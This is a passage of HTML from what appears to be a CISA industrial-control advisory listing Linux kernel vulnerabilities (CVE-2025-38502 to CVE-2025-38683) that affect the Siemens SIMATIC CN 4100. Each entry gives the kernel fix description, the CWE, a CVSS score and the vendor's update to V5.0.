<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/667.html">CWE-667 Improper Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38502</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix oob access in cgroup local storage Lonial reported that an out-of-bounds access in cgroup local storage can be crafted via tail calls. Given two programs each utilizing a cgroup local storage with a different value size, and one program doing a tail call into the other. The verifier will validate each of the indivial programs just fine. However, in the runtime context the bpf_cg_run_ctx holds an bpf_prog_array_item which contains the BPF program as well as any cgroup local storage flavor the program uses. Helpers such as bpf_get_local_storage() pick this up from the runtime context: ctx = container_of(current-&gt;bpf_ctx, struct bpf_cg_run_ctx, run_ctx); storage = ctx-&gt;prog_item-&gt;cgroup_storage[stype]; if (stype == BPF_CGROUP_STORAGE_SHARED) ptr = &amp;READ_ONCE(storage-&gt;buf)-&gt;data[0]; else ptr = this_cpu_ptr(storage-&gt;percpu_buf); For the second program which was called from the originally attached one, this means bpf_get_local_storage() will pick up the former program's map, not its own. With mismatching sizes, this can result in an unintended out-of-bounds access. To fix this issue, we need to extend bpf_map_owner with an array of storage_cookie[] to match on i) the exact maps from the original program if the second program was using bpf_get_local_storage(), or ii) allow the tail call combination if the second program was not using any of the cgroup local storage maps.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38502">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38552</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: plug races between subflow fail and subflow creation We have races similar to the one addressed by the previous patch between subflow failing and additional subflow creation. They are just harder to trigger. The solution is similar. Use a separate flag to track the condition 'socket state prevent any additional subflow creation' protected by the fallback lock. The socket fallback makes such flag true, and also receiving or sending an MP_FAIL option. The field 'allow_infinite_fallback' is now always touched under the relevant lock, we can drop the ONCE annotation on write.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38552">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38614</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed ("epoll: limit paths"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 ("eventpoll: Fix priority inversion problem").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38614">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/674.html">CWE-674 Uncontrolled Recursion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38670</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: arm64/entry: Mask DAIF in cpu_switch_to(), call_on_irq_stack() `cpu_switch_to()` and `call_on_irq_stack()` manipulate SP to change to different stacks along with the Shadow Call Stack if it is enabled. Those two stack changes cannot be done atomically and both functions can be interrupted by SErrors or Debug Exceptions which, though unlikely, is very much broken : if interrupted, we can end up with mismatched stacks and Shadow Call Stack leading to clobbered stacks. In `cpu_switch_to()`, it can happen when SP_EL0 points to the new task, but x18 stills points to the old task's SCS. When the interrupt handler tries to save the task's SCS pointer, it will save the old task SCS pointer (x18) into the new task struct (pointed to by SP_EL0), clobbering it. In `call_on_irq_stack()`, it can happen when switching from the task stack to the IRQ stack and when switching back. In both cases, we can be interrupted when the SCS pointer points to the IRQ SCS, but SP points to the task stack. The nested interrupt handler pushes its return addresses on the IRQ SCS. It then detects that SP points to the task stack, calls `call_on_irq_stack()` and clobbers the task SCS pointer with the IRQ SCS pointer, which it will also use ! This leads to tasks returning to addresses on the wrong SCS, or even on the IRQ SCS, triggering kernel panics via CONFIG_VMAP_STACK or FPAC if enabled. This is possible on a default config, but unlikely. However, when enabling CONFIG_ARM64_PSEUDO_NMI, DAIF is unmasked and instead the GIC is responsible for filtering what interrupts the CPU should receive based on priority. Given the goal of emulating NMIs, pseudo-NMIs can be received by the CPU even in `cpu_switch_to()` and `call_on_irq_stack()`, possibly *very* frequently depending on the system configuration and workload, leading to unpredictable kernel panics. Completely mask DAIF in `cpu_switch_to()` and restore it when returning. Do the same in `call_on_irq_stack()`, but restore and mask around the branch. Mask DAIF even if CONFIG_SHADOW_CALL_STACK is not enabled for consistency of behaviour between all configurations. Introduce and use an assembly macro for saving and masking DAIF, as the existing one saves but only masks IF.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38670">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38676</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: iommu/amd: Avoid stack buffer overflow from kernel cmdline While the kernel command line is considered trusted in most environments, avoid writing 1 byte past the end of "acpiid" if the "str" argument is maximum length.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38676">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/805.html">CWE-805 Buffer Access with Incorrect Length Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38677</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid out-of-boundary access in dnode page As Jiaming Zhang reported: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x1c1/0x2a0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x17e/0x800 mm/kasan/report.c:480 kasan_report+0x147/0x180 mm/kasan/report.c:593 data_blkaddr fs/f2fs/f2fs.h:3053 [inline] f2fs_data_blkaddr fs/f2fs/f2fs.h:3058 [inline] f2fs_get_dnode_of_data+0x1a09/0x1c40 fs/f2fs/node.c:855 f2fs_reserve_block+0x53/0x310 fs/f2fs/data.c:1195 prepare_write_begin fs/f2fs/data.c:3395 [inline] f2fs_write_begin+0xf39/0x2190 fs/f2fs/data.c:3594 generic_perform_write+0x2c7/0x910 mm/filemap.c:4112 f2fs_buffered_write_iter fs/f2fs/file.c:4988 [inline] f2fs_file_write_iter+0x1ec8/0x2410 fs/f2fs/file.c:5216 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x546/0xa90 fs/read_write.c:686 ksys_write+0x149/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xf3/0x3d0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f The root cause is in the corrupted image, there is a dnode has the same node id w/ its inode, so during f2fs_get_dnode_of_data(), it tries to access block address in dnode at offset 934, however it parses the dnode as inode node, so that get_dnode_addr() returns 360, then it tries to access page address from 360 + 934 * 4 = 4096 w/ 4 bytes. To fix this issue, let's add sanity check for node id of all direct nodes during f2fs_get_dnode_of_data().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38677">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38679</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: media: venus: Fix OOB read due to missing payload bound check Currently, The event_seq_changed() handler processes a variable number of properties sent by the firmware. The number of properties is indicated by the firmware and used to iterate over the payload. However, the payload size is not being validated against the actual message length. This can lead to out-of-bounds memory access if the firmware provides a property count that exceeds the data available in the payload. Such a condition can result in kernel crashes or potential information leaks if memory beyond the buffer is accessed. Fix this by properly validating the remaining size of the payload before each property access and updating bounds accordingly as properties are parsed. This ensures that property parsing is safely bounded within the received message buffer and protects against malformed or malicious firmware behavior.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38679">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38680</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: media: uvcvideo: Fix 1-byte out-of-bounds read in uvc_parse_format() The buffer length check before calling uvc_parse_format() only ensured that the buffer has at least 3 bytes (buflen &gt; 2), buf the function accesses buffer[3], requiring at least 4 bytes. This can lead to an out-of-bounds read if the buffer has exactly 3 bytes. Fix it by checking that the buffer has at least 4 bytes in uvc_parse_format().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38680">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38681</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38681">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/366.html">CWE-366 Race Condition within a Thread</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38683</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: hv_netvsc: Fix panic during namespace deletion with VF The existing code move the VF NIC to new namespace when NETDEV_REGISTER is received on netvsc NIC. During deletion of the namespace, default_device_exit_batch() &gt;&gt; default_device_exit_net() is called. When netvsc NIC is moved back and registered to the default namespace, it automatically brings VF NIC back to the default namespace. This will cause the default_device_exit_net() &gt;&gt; for_each_netdev_safe loop unable to detect the list end, and hit NULL ptr: [ 231.449420] mana 7870:00:00.0 enP30832s1: Moved VF to namespace with: eth0 [ 231.449656] BUG: kernel NULL pointer dereference, address: 0000000000000010 [ 231.450246] #PF: supervisor read access in kernel mode [ 231.450579] #PF: error_code(0x0000) - not-present page [ 231.450916] PGD 17b8a8067 P4D 0 [ 231.451163] Oops: Oops: 0000 [#1] SMP NOPTI [ 231.451450] CPU: 82 UID: 0 PID: 1394 Comm: kworker/u768:1 Not tainted 6.16.0-rc4+ #3 VOLUNTARY [ 231.452042] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 11/21/2024 [ 231.452692] Workqueue: netns cleanup_net [ 231.452947] RIP: 0010:default_device_exit_batch+0x16c/0x3f0 [ 231.453326] Code: c0 0c f5 b3 e8 d5 db fe ff 48 85 c0 74 15 48 c7 c2 f8 fd ca b2 be 10 00 00 00 48 8d 7d c0 e8 7b 77 25 00 49 8b 86 28 01 00 00 &lt;48&gt; 8b 50 10 4c 8b 2a 4c 8d 62 f0 49 83 ed 10 4c 39 e0 0f 84 d6 00 [ 231.454294] RSP: 0018:ff75fc7c9bf9fd00 EFLAGS: 00010246 [ 231.454610] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 61c8864680b583eb [ 231.455094] RDX: ff1fa9f71462d800 RSI: ff75fc7c9bf9fd38 RDI: 0000000030766564 [ 231.455686] RBP: ff75fc7c9bf9fd78 R08: 0000000000000000 R09: 0000000000000000 [ 231.456126] R10: 0000000000000001 R11: 0000000000000004 R12: ff1fa9f70088e340 [ 231.456621] R13: ff1fa9f70088e340 R14: ffffffffb3f50c20 R15: ff1fa9f7103e6340 [ 231.457161] FS: 0000000000000000(0000) GS:ff1faa6783a08000(0000) knlGS:0000000000000000 [ 231.457707] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 231.458031] CR2: 0000000000000010 CR3: 0000000179ab2006 CR4: 0000000000b73ef0 [ 231.458434] Call Trace: [ 231.458600] [ 231.458777] ops_undo_list+0x100/0x220 [ 231.459015] cleanup_net+0x1b8/0x300 [ 231.459285] process_one_work+0x184/0x340 To fix it, move the ns change to a workqueue, and take rtnl_lock to avoid changing the netdev list when default_device_exit_net() is using it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38683">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/820.html">CWE-820 Missing Synchronization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.2</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38684</a></h3>
<div class="csaf-accordion-content">
